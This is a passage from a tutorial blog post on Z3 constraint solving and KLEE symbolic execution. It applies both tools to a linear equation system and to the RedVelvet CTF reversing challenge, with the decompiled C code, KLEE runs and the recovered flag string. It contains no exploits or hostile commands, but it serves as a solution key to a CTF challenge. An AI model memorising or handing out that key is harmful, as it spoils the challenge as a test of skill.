      s.add(a2 >= a1)
      s.add(a1 >= a3)
      s.add(a2 > 100)
      s.add(a2 <= 104)
      s.add(a1 + (a2 ^ (a2 - a3)) - a3 == 70)
      s.add(UDiv(a2 + a3, a1) + a1 == 68 )
    
    def func12(a1, a2, a3):
      s.add(a1 >= a2)
      s.add(a2 >= a3)
      s.add(a2 <= 59)
      s.add(a3 <= 44)
      s.add(a1 + (a2 ^ (a3 + a2)) - a3 == 111)
      s.add((a2 ^ (a2 - a3)) + a2 == 101 )
    
    def func13(a1, a2, a3):
      s.add(a1 <= a2)
      s.add(a2 <= a3)
      s.add(a1 > 40 )
      s.add(a2 > 90 )
      s.add(a3 <= 109)
      s.add(a3 + (a2 ^ (a3 + a1)) - a1 == 269)
      s.add((a3 ^ (a2 - a1)) + a2 == 185)
    
    def func14(a1, a2, a3):
      s.add(a1 >= a3)
      s.add(a2 >= a3)
      s.add(a2 <= 99)
      s.add(a3 > 90)
      s.add(a1 + (a2 ^ (a2 + a1)) - a3 == 185 )
    
    def func15(a1, a2, a3):
      s.add(a2 >= a3)
      s.add(a2 >= a1)
      s.add(a3 > 95)
      s.add( a2 <= 109)
      s.add(((a2 - a1) * a2 ^ a3) - a1 == 1214)
      s.add(((a3 - a2) * a3 ^ a1) + a2 == -1034)
    
    def is_valid(x):
      return Or(And(x >= 65, x <= 90), And(x >= 97, x <= 122), And(x >= 48, x <= 57), And(x == 95), And(x == 33), And(x == 64), And(x == 35), And(x == 36), And(x == 37), And(x == 94), And(x == 38), And(x == 42), And(x == 63), And(x == 58), And(x == 40), And(x == 41))
    
    s = Solver()
    
    x = [ BitVec('a%i' % i, 32) for i in range(26) ]
    
    for i in range(26):
      s.add(is_valid(x[i]))
    
    func1(x[0], x[1])
    func2(x[1], x[2])
    func3(x[2], x[3])
    func4(x[3], x[4])
    func5(x[4], x[5])
    func6(x[5], x[6], x[7])
    func7(x[7], x[8], x[9])
    func8(x[9], x[10], x[11])
    func9(x[11], x[12], x[13])
    func10(x[13], x[14], x[15])
    func11(x[15], x[16], x[17])
    func12(x[17], x[18], x[19])
    func13(x[19], x[20], x[21])
    func14(x[21], x[22], x[23])
    func15(x[23], x[24], x[25])
    
    while s.check() == sat:
      solution = s.model()
      block = []
      for d in solution:
        c = d()
        block.append(c != solution[d])
        flag = ""
        for n in x:
          char = solution[n].as_long()
          flag += chr(char)
        print flag
      s.add(Or(block))
    
[/code]

Our job was considerably easier than a real world situation because the binary
was easy to reverse, since there was no other functionality in itself besides
the flag validation functions. Anyway, Z3 is indeed a very good tool to keep
around if you need to find what some binary is doing and you don’t feel like
spending too much time in front of a debugger.

## Symbolic Execution

Symbolic execution is a program analysis technique which provides the ability
to automatically enumerate the feasible paths of a program. This technique has
received more and more attention, as mentioned before, due to the increased
performance in computers but also due to improvements to the constraint
solvers on which the technique relies.

Instead of a program run with concrete input, symbolic execution runs the
program with symbolic input. Each input will then be represented by a
placeholder for an initially non contrained value. As the program runs,
symbolic execution will keep track on how the variables depend on the symbolic
input.

When a branch that depends on symbolic input, for example an if statement, is
found _a constraint solver is used to check which branches are feasible_. So,
this means that actually we can use, for example KLEE, to solve our linear
equation and Zebra puzzle. This might not be a smart use of KLEE but will
allow us to play a bit with it.

The symbolic execution process is well described by Daniel Liew in his recent
published thesis on “Symbolic execution of verification languages and
floating-point code”.

_Instead of running the program on concrete input, where a particular input
component might e.g. take the value 3, symbolic execution runs the program on
symbolic input, where each input component is represented by a placeholder for
an initially unconstrained value. As the program runs, symbolic execution
keeps track of how program variables depend on the symbolic input. When a
branch point \(e.g. an if statement\) dependent on symbolic input is
encountered a constraint solver is used to check which branches are feasible.
Each feasible path is then executed, making a copy \(known as forking\) of the
current program state if necessary. On each feasible path \(at least one must
be feasible\) the constraint that the branch imposed on the symbolic input is
added to a per path set called the path condition \(PC\). The PC records all
the symbolic branch conditions \(branches that depend on symbolic input\) that
were traversed by the path. The PC has two purposes. First, it is used to
check feasibility when encountering later branch points on that path. Second,
the constraints in the PC can be solved and a satisfying assignment to the
symbolic input can be found. This satisfying assignment can be used to replay
execution of the program along the same path that \(assuming that the program
is deterministic\) was symbolically executed and is effectively a test case.
These automatically generated test cases can be useful to developers because
they can be added to an existing test suite to increase code coverage or be
used replay bugs._

In my simplistic words, Symbolic Execution, in short, is a program analysis
technique that treats input data as symbolic variables \(rather than concrete
values\). Or, quoting Richard @richinseattle Johnson, _Symbolic execution lets
us “execute” a series of instructions without using concrete values for
variables. Instead of a numeric output, we get a formula for the output in
terms of input variables that represents a potential range of values._

Or, as pointed by Axel Souchet.

  * Symbolic execution would be f\(x\) = x\*\*2 + 10
  * Concrete execution would be f\(3\) = 19

So, symbolic execution creates constraints based on symbolic variables. If
used in conjunction with a constraint solver \(like Z3\) to generate new
inputs/test cases, we have Concolic Execution.

[code]

    Symbolic Execution + Constraint Solving = Concolic Execution
    
[/code]

Concolic execution is used to aid Fuzzing and software verification with the
goal of maximizing code coverage.

If we look at a simple function, like the one below.

[code]

    int foobar(int n)
    {
      int i = n * 5;
    
      if(i == 25)
        bug();
    
      return 0;
    }
[/code]

By using “dumb” fuzzing what are our real changes of hitting the bug? Yes, `1
in 2^32` \(4 billion attempts\). Read this post for an interesting case of AFL
dealing with something slightly complex than the one above.

I recommend you to look at another presentation from Richard @richinseattle
Johnson to get good foundations on this subject. You can watch the video here.

Anyway, this post it’s not about fuzzing. So let’s move on and solve our
linear equation again, this time with KLEE.

## KLEE

KLEE can be a bit though to install, so just use the Klee’s Docker image.

[code]

    $ docker pull klee/klee
    $ docker run -ti --name=my_klee_container --ulimit='stack=-1:-1' klee/klee
    klee@02ca010455db:~$
    
[/code]

### Linear equation with 3 variables

We’ll use the same linear equation system with 3 variables as before, that I
grabbed from here.

[code]

    x - 2y + 3z = 7
    2x + y + z = 4
    -3x + 2y - 2z = -10
    
[/code]

To solve it with KLEE I simply created the following logic in a file called
`equation.c`.

[code]

    #include <assert.h>
    #include "./klee_src/include/klee/klee.h"
    
    int main(int argc, char* argv[]) 
    {
      int x, y, z;
    
      klee_make_symbolic(&x, sizeof x, "x"); 
      klee_make_symbolic(&y, sizeof y, "y"); 
      klee_make_symbolic(&z, sizeof z, "z");
    
      if (x - 2 * y + 3 * z != 7) return 0;
      if (2 * x + y + z != 4) return 0;
      if (-3 * x + 2 * y - 2 * z != -10) return 0;
    
      klee_assert(0);
    }
[/code]

And ran it through KLEE as below.

[code]

    $ clang -emit-llvm -g -c equation.c
    $ klee equation.bc
    KLEE: output directory is "/home/klee/klee-out-2"
    KLEE: Using STP solver backend
    KLEE: ERROR: /home/klee/equation.c:16: ASSERTION FAIL: 0
    KLEE: NOTE: now ignoring this error at this location
    
    KLEE: done: total instructions = 55
    KLEE: done: completed paths = 4
    KLEE: done: generated tests = 4
    $ ls klee-last | grep err
    test000003.assert.err
    $ ktest-tool --write-ints klee-last/test000003.ktest
    ktest file : 'klee-last/test000003.ktest'
    args       : ['equation.bc']
    num objects: 3
    object    0: name: b'x'
    object    0: size: 4
    object    0: data: 2
    object    1: name: b'y'
    object    1: size: 4
    object    1: data: -1
    object    2: name: b'z'
    object    2: size: 4
    object    2: data: 1
    
[/code]

This is indeed the solution to the equation system `(x = 2, y = -1, z = 1)`.

This can be slightly optimized if we use `klee_assume()`, which tells KLEE to
cut path if some constraint is not satisfied. So our equation could be written
as below.

[code]

    #include <assert.h>
    #include "./klee_src/include/klee/klee.h"
    
    int main(int argc, char* argv[]) 
    {
      int x, y, z;
    
      klee_make_symbolic(&x, sizeof x, "x"); 
      klee_make_symbolic(&y, sizeof y, "y"); 
      klee_make_symbolic(&z, sizeof z, "z");
    
      klee_assume(x - 2 * y + 3 * z == 7);
      klee_assume(2 * x + y + z == 4);
      klee_assume(-3 * x + 2 * y - 2 * z == -10);
    
      klee_assert(0);
    }
[/code]

[code]

    $ clang -emit-llvm -g -c equation2.c 
    $ klee equation2.bc
    KLEE: output directory is "/home/klee/klee-out-3"
    KLEE: Using STP solver backend
    KLEE: ERROR: /home/klee/equation2.c:16: ASSERTION FAIL: 0
    KLEE: NOTE: now ignoring this error at this location
    
    KLEE: done: total instructions = 49
    KLEE: done: completed paths = 1
    KLEE: done: generated tests = 1
    $ ls klee-last | grep err
    test000001.assert.err
    $ ktest-tool --write-ints klee-last/test000001.ktest
    ktest file : 'klee-last/test000001.ktest'
    args       : ['equation2.bc']
    num objects: 3
    object    0: name: b'x'
    object    0: size: 4
    object    0: data: 2
    object    1: name: b'y'
    object    1: size: 4
    object    1: data: -1
    object    2: name: b'z'
    object    2: size: 4
    object    2: data: 1
    
[/code]

I’m not going to solve the Zebra puzzle with KLEE, since we won’t really learn
anything new compared to what we have seen until now. You can try it yourself,
or if you want just look at Yurichev’s solution here \(page 107 at the time of
this writing\).

### CTF Challenge \(get the flag\)

Instead, we’ll see how to solve the RedVelvet CTF challenge again, this time
with KLEE. In order to use KLEE you need access to the source code. In this
case, since we don’t have access to the source code of the RedVelvet CTF
challenge we’ll use IDA Pro Hex-Rays decompiler \(we already saw how to do
that\) to get the code. Yes, we’ll need to fix the code, so we can compile it.
Unfortunately RetDec doesn’t support 64bits so yes, we’ll have to stick with
IDA.

Below are the main steps we need to complete in order to solve the challenge
with KLEE.

  * Decompile the RedVelvet binary to source code with IDA Pro Hex-Rays decompiler
  * Include defs.h from the plugins folder of IDA Pro in our source file
  * Replace the user input with `klee_make_symbolic(input, sizeof(input), "input");`
  * Replace the flag printf with `klee_assert(0);`

The code we get from IDA Pro Hex-Rays decompiler won’t compile, I’ll skip the
step of fixing the code and I’ll just give you the code ready to compile
below. If you are curious, you can compare the changes yourself.

[code]

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <openssl/sha.h>
    #include "defs.h"
    
    int  func1(char a1, char a2)
    {
      if ( a1 * 2 * (char)(a2 ^ a1) - a2 != 10858 )
        exit(1);
      if ( a1 <= 85 || a1 > 95 || a2 <= 96 || a2 > 111 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func2(char a1, char a2)
    {
      if ( a1 % a2 != 7 )
        exit(1);
      if ( a2 <= 90 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func3(char a1, char a2)
    {
      if ( a1 / a2 + (char)(a2 ^ a1) != 21 || a1 > 99 || a2 > 119 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func4(char a1, char a2)
    {
      signed __int64 v2; // rtt@1
    
      LODWORD(v2) = (char)(a2 ^ a1 ^ a2);
      HIDWORD(v2) = (unsigned __int64)(char)(a2 ^ a1 ^ a2) >> 32;
      if ( (unsigned int)(v2 % a2) + a1 != 137 || a1 <= 115 || a2 > 99 || a2 != 95 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func5(char a1, char a2)
    {
      if ( ((a2 + a1) ^ (char)(a1 ^ a2 ^ a1)) != 225 || a1 <= 90 || a2 > 89 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func6(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 85 || a2 <= 110 || a3 <= 115 || ((a2 + a3) ^ (a1 + a2)) != 44 || (a2 + a3) % a1 + a2 != 161 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func7(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a1 > 119 || a2 <= 90 || a3 > 89 || ((a1 + a3) ^ (a2 + a3)) != 122 || (a1 + a3) % a2 + a3 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func8(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a3 > 114 || (a1 + a2) / a3 * a2 != 97 || (a3 ^ (a1 - a2)) * a2 != -10088 || a3 > 114 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func9(char a1, char a2, char a3)
    {
      if ( a1 != a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a3 > 99 || a3 + a1 * (a3 - a2) - a1 != -1443 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func10(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 * (a1 + a3 + 1) - a3 != 15514 || a2 <= 90 || a2 > 99 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func11(char a1, char a2, char a3)
    {
      if ( a2 < a1 )
        exit(1);
      if ( a1 < a3 )
        exit(1);
      if ( a2 <= 100 || a2 > 104 || a1 + (a2 ^ (a2 - a3)) - a3 != 70 || (a2 + a3) / a1 + a1 != 68 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func12(char a1, char a2, char a3)
    {
      if ( a1 < a2 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 59 || a3 > 44 || a1 + (a2 ^ (a3 + a2)) - a3 != 111 || (a2 ^ (a2 - a3)) + a2 != 101 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func13(char a1, char a2, char a3)
    {
      if ( a1 > a2 )
        exit(1);
      if ( a2 > a3 )
        exit(1);
      if ( a1 <= 40 || a2 <= 90 || a3 > 109 || a3 + (a2 ^ (a3 + a1)) - a1 != 269 || (a3 ^ (a2 - a1)) + a2 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func14(char a1, char a2, char a3)
    {
      if ( a1 < a3 )
        exit(1);
      if ( a2 < a3 )
        exit(1);
      if ( a2 > 99 || a3 <= 90 || a1 + (a2 ^ (a2 + a1)) - a3 != 185 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int  func15(char a1, char a2, char a3)
    {
      if ( a2 < a3 )
        exit(1);
      if ( a2 < a1 )
        exit(1);
      if ( a3 <= 95 || a2 > 109 || ((a2 - a1) * a2 ^ a3) - a1 != 1214 || ((a3 - a2) * a3 ^ a1) + a2 != -1034 )
        exit(1);
      return puts("HAPPINESS:)");
    }
    
    int main(int argc, const char **argv, const char **envp)
    {
      char buf[27];
      size_t v6; // rax@2
      signed int i; // [sp+8h] [bp-1B8h]@2
      SHA256_CTX v11; // [sp+50h] [bp-170h]@2
      unsigned char v38[32]; // [sp+E0h] [bp-E0h]@2
    
      char s1[80]; // [sp+100h] [bp-C0h]@3
      char s2[8]; // [sp+150h] [bp-70h]@1
      *(_QWORD *)s2 = 3905859155515433264LL;
      char v41[8];
      *(_QWORD *)v41 = 3990529441497888818LL;
      char v42[8];
      *(_QWORD *)v42 = 7017565014431380534LL;
      char v43[8];
      *(_QWORD *)v43 = 3977633058323522358LL;
      char v44[8];
      *(_QWORD *)v44 = 7364290724313116725LL;
      char v45[8];
       *(_QWORD *)v45 = 3991705742141175652LL;
      char v46[8];
       *(_QWORD *)v46 = 7363494672811320633LL;
      char v47[8];
       *(_QWORD *)v47 = 3847534474596595814LL;
      char v48[8];
      *(_QWORD *)v48 = 0LL;
      char v49[8];
      *(_QWORD *)v49 = 0LL;
      char v50[8];
      *(_QWORD *)v50 = 0LL;
      char v51[8];
      *(_QWORD *)v51 = 0LL;
      char v52[8];
      *(_QWORD *)v52 = 0;
    
      printf("Your flag : ");
      fgets(buf, 27, stdin);
      func1((unsigned int)buf[0], (unsigned int)buf[1]);
      func2((unsigned int)buf[1], (unsigned int)buf[2]);
      func3((unsigned int)buf[2], (unsigned int)buf[3]);
      func4((unsigned int)buf[3], (unsigned int)buf[4]);
      func5((unsigned int)buf[4], (unsigned int)buf[5]);
      func6((unsigned int)buf[5], (unsigned int)buf[6], (unsigned int)buf[7]);
      func7((unsigned int)buf[7], (unsigned int)buf[8], (unsigned int)buf[9]);
      func8((unsigned int)buf[9], (unsigned int)buf[10], (unsigned int)buf[11]);
      func9((unsigned int)buf[11], (unsigned int)buf[12], (unsigned int)buf[13]);
      func10((unsigned int)buf[13], (unsigned int)buf[14], (unsigned int)buf[15]);
      func11((unsigned int)buf[15], (unsigned int)buf[16], (unsigned int)buf[17]);
      func12((unsigned int)buf[17], (unsigned int)buf[18], (unsigned int)buf[19]);
      func13((unsigned int)buf[19], (unsigned int)buf[20], (unsigned int)buf[21]);
      func14((unsigned int)buf[21], (unsigned int)buf[22], (unsigned int)buf[23]);
      func15((unsigned int)buf[23], (unsigned int)buf[24], (unsigned int)buf[25]);
      SHA256_Init(&v11);
      v6 = strlen(buf);
      SHA256_Update(&v11, buf, v6);
      SHA256_Final(v38, &v11);
      for ( i = 0; i <= 31; ++i )
        sprintf(&s1[2 * i], "%02x", (unsigned __int8)v38[i]);
      if ( strcmp(s1, s2) )
        exit(1);
      printf("flag : {\" %s \"}\n", buf);
      return 0;
    }
[/code]

After our fixes, we compile it, and we run it to make sure it mimics exactly
the original binary.

[code]

    $ gcc -o red_velvet red_velvet.c -lssl -lcrypto
    $ ./red_velvet
    Your flag : lalala
    
[/code]

Well, it runs so it must be ok. Let’s proceed with our changes. Connect to the
KLEE docker container.

[code]

    $ docker ps -a
    CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS                    PORTS               NAMES
    98643f6c5c8a        klee/klee           "/bin/bash"         24 hours ago        Exited (0) 22 hours ago                       my_first_klee_container
    $ docker start -ai 98643f6c5c8a
    $ 
    
[/code]

Now, we need to change, again, our `red_velvet.c` with the required KLEE
modifications. Below is a unified diff showing the changes I made.

[code]

    $ diff -uN re-built/red_velvet.c red_velvet.klee.c
    --- re-built/red_velvet.c       2018-05-19 13:36:49.593046595 +0100
    +++ red_velvet.klee.c   2018-05-19 13:38:51.945568668 +0100
    @@ -3,6 +3,8 @@
     #include <string.h>
     #include <openssl/sha.h>
     #include "defs.h"
    +#include <assert.h>
    +#include "./klee_src/include/klee/klee.h"
    
     int  func1(char a1, char a2)
     {
    @@ -193,8 +195,12 @@
       char v52[8];
       *(_QWORD *)v52 = 0;
    
    +#ifdef KLEE
    +  klee_make_symbolic(buf, sizeof(buf), "buf");
    +#else
       printf("Your flag : ");
       fgets(buf, 27, stdin);
    +#endif
       func1((unsigned int)buf[0], (unsigned int)buf[1]);
       func2((unsigned int)buf[1], (unsigned int)buf[2]);
       func3((unsigned int)buf[2], (unsigned int)buf[3]);
    @@ -218,6 +224,10 @@
         sprintf(&s1[2 * i], "%02x", (unsigned __int8)v38[i]);
       if ( strcmp(s1, s2) )
         exit(1);
    +#ifdef KLEE
    +  klee_assert(0);
    +#else
       printf("flag : {\" %s \"}\n", buf);
    +#endif
       return 0;
     }
[/code]

I added my changes inside a `#ifdef KLEE` to make things clear. As we can see,
the changes are pretty straight forward. Note that in order to build our
example we need to install `libssl-dev` first. The password for the KLEE
docker container is `klee`.

[code]

    $ sudo apt-get install libssl-dev
    
[/code]

Once we have it installed, we can proceed. Don’t forget to copy the `defs.h`
file from IDA Pro.

[code]

    $ clang -emit-llvm -g -c red_velvet.c -I/usr/include -lssl -lcrypto -DKLEE
    clang: warning: -lssl: 'linker' input unused
    clang: warning: -lcrypto: 'linker' input unused
    
[/code]

This is a problem. It’s only possible to compile when emitting `LLVM IR`, not
link. This means our `openssl` functions “won’t work” and we’ll miss the
checksum validation. Since the code uses some standard C/C++ functions, we
need to add `--libc=uclibc` switch, so KLEE will use its own implementation.

[code]

    $ clang -emit-llvm -g -c red_velvet.c -I/usr/include
    $ klee --libc=uclibc --posix-runtime red_velvet.bc
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-0"
    KLEE: Using STP solver backend
    KLEE: WARNING: undefined reference to function: SHA256_Final
    KLEE: WARNING: undefined reference to function: SHA256_Init
    KLEE: WARNING: undefined reference to function: SHA256_Update
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 62031344) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:22: divide by zero
    KLEE: NOTE: now ignoring this error at this location
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:31: divide by zero
    KLEE: NOTE: now ignoring this error at this location
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:42: divide by zero
    KLEE: NOTE: now ignoring this error at this location
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    KLEE: WARNING ONCE: calling external: SHA256_Init(66061536) at /home/klee/red_velvet.c:224
    KLEE: ERROR: /home/klee/red_velvet.c:223: failed external call: SHA256_Init
    KLEE: NOTE: now ignoring this error at this location
    
    KLEE: done: total instructions = 13518
    KLEE: done: completed paths = 67
    KLEE: done: generated tests = 67
    $ ls klee-last | grep err
    test000003.div.err
    test000006.div.err
    test000008.div.err
    test000067.external.err
    $ ktest-tool --write-ints klee-last/test000067.ktest 
    ktest file : 'klee-last/test000067.ktest'
    args       : ['red_velvet.bc']
    num objects: 2
    object    0: name: b'model_version'
    object    0: size: 4
    object    0: data: 1
    object    1: name: b'buf'
    object    1: size: 27
    object    1: data: b'What_You_Wanna_Be?:)_lb_la\x00'
    
[/code]

We know the solution above is valid. However, as you can see above there are 3
warnings.

[code]

    KLEE: WARNING: undefined reference to function: SHA256_Final
    KLEE: WARNING: undefined reference to function: SHA256_Init
    KLEE: WARNING: undefined reference to function: SHA256_Update
    
[/code]

And an error.

[code]

    KLEE: ERROR: /home/klee/red_velvet.c:223: failed external call: SHA256_Init
    
[/code]

And they shouldn’t be ignored. If one of these functions get’s called the
program will terminate, as it happened. KLEE has several limitations,
including floating point numbers, assembly code, threads, memory objects of
variable size, sockets, and any external function should also be compiled and
linked. The `openssl` external function calls limitation affect us.

What can we do? One option is to move those 3 functions from `openssl` into
our `red_velvet.c`. I actually did it. However, if you look at the code you’ll
see inlined assembly. Which means, it won’t work either \(but at least you can
see KLEE complaining about it as a reward\). Another option is to build
`openssl` into `LLVM IR` and then launch KLEE with the option `-link-llvm-
lib=<library file>`. I’m aware of some other possible options. First two, use
Gold linker with the LLVM plugin or Whole Program LLVM plus `llvm-link`.

I didn’t try any of those options though. Why? Well, if we think about it the
way symbolic execution engines work, and the constraint solvers they use can’t
accurately generate and solve the constraints that describe the complete
process of a checksum algorithm. However, a constraint solver can produce
inputs that will pass a difficult check such as a password, a magic number, or
even a checksum.

In our example, the checksum is at the end of our code, so by that time KLEE
should have already found a “solution” that should pass the checksum. Right?
Well, no. We actually already know that this challenge has more than one
possible solution. That is, more than one input that satisfies all the
constraints \(except the checksum itself\). So these inputs won’t pass the
program’s first validation \(checksum\) unless we are really lucky.

Anyway, didn’t I say that as soon as one of those 3 `openssl` functions are
called the program will terminate? Yes, but you can use a KLEE option to make
it call the external function despite the warnings we saw before. The option
is `-load`. See below.

[code]

    $ clang -emit-llvm -g -c red_velvet.c -DKLEE
    $ klee --optimize -load=/usr/lib/x86_64-linux-gnu/libssl.so -load=/usr/lib/x86_64-linux-gnu/libcrypto.so --libc=uclibc --posix-runtime -allow-external-sym-calls -emit-all-errors red_velvet.bc
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-16"
    KLEE: Using STP solver backend
    KLEE: WARNING: undefined reference to function: SHA256_Final
    KLEE: WARNING: undefined reference to function: SHA256_Init
    KLEE: WARNING: undefined reference to function: SHA256_Update
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 43118368) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:21: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:30: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.c:41: divide by zero
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    KLEE: WARNING ONCE: calling external: SHA256_Init(59051440) at /home/klee/klee_build/klee-uclibc/libc/string/strlen.c:22
    KLEE: ERROR: /home/klee/klee_build/klee-uclibc/libc/string/strlen.c:22: memory error: out of bound pointer
    KLEE: WARNING ONCE: calling external: SHA256_Update(59051440, 58599440, 26) at /home/klee/red_velvet.c:224
    KLEE: WARNING ONCE: calling external: SHA256_Final(59051152, 59051440) at /home/klee/red_velvet.c:225
    
    KLEE: done: total instructions = 115768
    KLEE: done: completed paths = 57
    KLEE: done: generated tests = 57
    $ ls klee-last | grep err
    test000003.div.err
    test000006.div.err
    test000008.div.err
    test000056.ptr.err
    $ ktest-tool --write-ints klee-last/test000056.ktest 
    ktest file : 'klee-last/test000056.ktest'
    args       : ['red_velvet.bc']
    num objects: 2
    object    0: name: b'model_version'
    object    0: size: 4
    object    0: data: 1
    object    1: name: b'buf'
    object    1: size: 27
    object    1: data: b'What_You_Wanna_Be?:)_l`_la\x01'
    
[/code]

As we can see above the external functions were called, still the checksum
didn’t succeed. However, it wasn’t only because the valid solution found
wasn’t the expected one.

If I want I can actually modify the code by changing the function `func14` as
shown below to force the constraint solver to find the solution we want, that
is, the solution that will be valid according to the checksum.

[code]

    int  func14(char a1, char a2, char a3)
    {
      /* check to make it accept only one solution */
      if(a2 != 97)
        exit(1);
[/code]

Anyway, if you run it you will see that despite the solution being valid the
KLEE assert is not reached. Why? Well the code for validating the checksum
really sucks, if you print the strings being compared you’ll see that actually
when the `strcmp` happens one of the strings is messed up. I fixed that too,
see here. However, for some reasons even though after KLEE finds the desired
solution the checksum is still wrong. See below.

[code]

    $ clang -emit-llvm -g -c red_velvet.checksum.fixed.c -DKLEE
    $ klee --optimize -load=/usr/lib/x86_64-linux-gnu/libssl.so -load=/usr/lib/x86_64-linux-gnu/libcrypto.so --libc=uclibc --posix-runtime -allow-external-sym-calls -emit-all-errors red_velvet.checksum.fixed.bc
    KLEE: NOTE: Using klee-uclibc : /home/klee/klee_build/klee/Release+Debug+Asserts/lib/klee-uclibc.bca
    KLEE: NOTE: Using model: /home/klee/klee_build/klee/Release+Debug+Asserts/lib/libkleeRuntimePOSIX.bca
    KLEE: output directory is "/home/klee/klee-out-6"
    KLEE: Using STP solver backend
    KLEE: WARNING: undefined reference to function: SHA256_Final
    KLEE: WARNING: undefined reference to function: SHA256_Init
    KLEE: WARNING: undefined reference to function: SHA256_Update
    KLEE: WARNING ONCE: calling external: syscall(16, 0, 21505, 71898288) at /home/klee/klee_src/runtime/POSIX/fd.c:980
    KLEE: WARNING ONCE: Alignment of memory from call "malloc" is not modelled. Using alignment of 8.
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.checksum.fixed.c:21: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.checksum.fixed.c:30: divide by zero
    HAPPINESS:)
    KLEE: ERROR: /home/klee/red_velvet.checksum.fixed.c:41: divide by zero
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    HAPPINESS:)
    KLEE: WARNING ONCE: calling external: SHA256_Init(54017408) at /home/klee/red_velvet.checksum.fixed.c:202
    KLEE: WARNING ONCE: calling external: SHA256_Update(54017408, 68083424, 26) at /home/klee/red_velvet.checksum.fixed.c:203
    KLEE: WARNING ONCE: calling external: SHA256_Final(73422336, 54017408) at /home/klee/red_velvet.checksum.fixed.c:204
    KLEE: WARNING ONCE: calling external: printf(64453968, 54018336) at /home/klee/red_velvet.checksum.fixed.c:207
    s1= 659d36ca563ba4622daabb36a71dafaf6060cdcbf89bb12e75426198496d272c
    s2= 0a435f46288bb5a764d13fca6c901d3750cee73fd7689ce79ef6dc0ff8f380e5
    buf=
    KLEE: ERROR: /home/klee/red_velvet.checksum.fixed.c:213: ASSERTION FAIL: 0
    
    KLEE: done: total instructions = 115625
    KLEE: done: completed paths = 57
    KLEE: done: generated tests = 57
    $ ls klee-last/*err
    klee-last/test000003.div.err  klee-last/test000006.div.err  klee-last/test000008.div.err  klee-last/test000057.assert.err
    $ ktest-tool --write-ints --trim-zeros klee-last/test000057.ktest
    ktest file : 'klee-last/test000057.ktest'
    args       : ['red_velvet.checksum.fixed.bc']
    num objects: 2
    object    0: name: b'model_version'
    object    0: size: 4
    object    0: data: 1
    object    1: name: b'buf'
    object    1: size: 27
    object    1: data: b'What_You_Wanna_Be?:)_la_la\x00'
    
[/code]

Why it is wrong I don’t know. Above I print both checksums and I used
`klee_assume( strcmp(s1, s2) != 0);` to hit the assert and create our solution
file. While the checksum for `What_You_Wanna_Be?:)_la_la` is correct, the
other that comes from KLEE it’s not. I checked if it was actually the checksum
of `What_You_Wanna_Be?:)_la_la\x00` but it is not. Anyway, I spent too much
time on this checksum already. If you know why this happens please let me
know.

So, what to do? Easy. Delete all the checksum routines. This code is actually
a very big hack and really buggy. So let’s remove the checksum routines.

[code]

    #include <stdio.h>
